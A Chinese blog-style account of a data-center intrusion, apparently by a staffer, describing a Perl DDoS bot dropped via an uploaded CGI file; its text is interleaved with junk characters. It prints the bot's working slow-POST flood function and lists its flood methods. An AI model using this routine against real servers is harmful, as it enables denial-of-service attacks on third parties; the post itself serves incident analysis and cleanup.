|
上个月数据中心的多台服务器接连被人挂马,又有客户的网站被DDOS,公司的运维整个都处于一种被打了鸡血的亢奋状态,连我手上的项目都被部门老大停了,调去帮运维。第一次见到Linux 下面的木马,突然想起来,还是值得记录一下。 & S9 v! m0 I/ J& \. i K y" v
. P" R. O6 ?* ^7 X
分析日志发现Attacker 应该是通过某种途径获得了客户的后台密码,然后利用控制面板的漏洞,上传了压缩包里的falabiya.cgi 并运行。这样会生成.X11-unix 文件(其实就是falabiya 那一段base64_decode),.X11-unix即具体的后门程序。# j) U' m g' F
: X/ S0 P9 R: }! l) ?# }信安专业的Felix021 和芒果师兄都对这个案例表示出了兴趣,于是我分别和他们分析了一下。这是一段perl 脚本,写得十分精妙。具体功能就是拿我们的服务器做肉鸡,监听端口获取指令,向指定地址发送数据,从而实行DDOS 攻击。代码内置了几乎所有浏览器的UA 字符串,每次都随机抽取其中一个,伪装为正常访问。genGarbage、tcp flood、udp flood、slow get/post 等各种DDOS 方式均有实现,特别是sendSlowPostRequest 这个方法,实在太贱了,一点点地发,对方必须hold 住资源等你发完。。短短数百行代码,却对各种错误异常处理得十分仔细,必然出自高人之手。注释里有些不能识别的字符,也不知道是什么编码,无法推断是哪个国家的黑客写的。。
) A0 ?3 A0 v; r- ] A/ o) K ( X1 ?4 r& U/ Q, G7 t. e+ s
sub sendSlowPostRequest {% O0 n: A% C. B! F, X
my $host = $_[0];; Z6 X' o$ U6 f8 Y
my $port = $_[1];! Z1 D# E0 K# w8 c3 P2 q# F) J
my $path = $_[2];
9 ]- _& g5 a7 J& Q my $contentLen = $_[3];
( r! `6 Z' y( q$ |. A2 G- ^8 s2 U& I my $chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+|=-~`1234567890";: f% n5 u+ M- q
: z8 H/ M. F( ^8 D' q5 t
print "startn";
$ ?3 A- S% A3 t) E + M+ z7 X. {! R
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
' V b, g) k- {/ g: p0 m5 q $iaddr = inet_aton($host);6 b" o9 j! q; n# a( n' Q( E
$paddr = sockaddr_in($port, $iaddr);; I2 l) G6 b6 X6 u
connect(SOCK, $paddr);
1 N& K9 q/ ^9 Q 0 y8 t" J4 r5 g& L8 j0 x$ g2 F; f
#send header' `7 `# E/ @6 }$ p4 I+ E& Q
send (SOCK, "POST ".$path." HTTP/1.1rn", 0);
! q! w- ?9 o& X* u# c! h send (SOCK, "Host: $hostrn", 0);
# H! @" C [" _+ p6 H send (SOCK, "User-Agent: $uarn", 0);
2 z: p. L( m$ ~; s# N5 A send (SOCK, "Content-type: application/x-www-form-urlencodedrn", 0); . {7 b/ g2 e$ X' [' q
send (SOCK, "Content-length: $contentLenrn", 0);
; b- ?# x0 v" A2 j; |) o send (SOCK, "rn", 0);
: _/ N. B6 P0 L, g2 r
4 N* j( [! E; b& j! P3 g #send body
2 ]* x+ c, ~' P7 ]9 [0 n for my $i (1..$contentLen){
* c3 R. k# V: g& y my $symbol = substr $chars, int rand length($chars), 1;9 t2 T6 {/ r. L* K
print "$symbol ";
- T2 L! c( ?4 l send (SOCK, $symbol, 0);$ S8 U* V3 D/ k4 |3 j2 Q
sleep 3;9 ^' V8 I% c3 t# L* K) ~
}
" N, E* e5 G+ s2 f" O; | send (SOCK, "rn", 0);3 M% t3 {1 Z; _/ J
close(SOCK);$ Y9 Q* A# d: N; N
print "endn";
" l% l3 Y; l! q: Q}
: E+ c M! z$ O/ s& n* T, M后来我们清理掉了所有木马,限制脚本运行,配置防火墙阻止向外发送异常数据。至于我们自己被DDOS 攻击,也是配防火墙搞定,那几台设备好几百万,还是相当给力的。因为来自中国的攻击很多,Boss 一直对内地黑客十分“敬仰”,要我介绍几个给他认识。。其实我是了解国内那些所谓的“黑客”的,不得已只好把也是武大信安毕业后来去中科院的LC 拉来……后来Boss 还跑去北京找绿盟谈过合作,据说他家要上市了。 |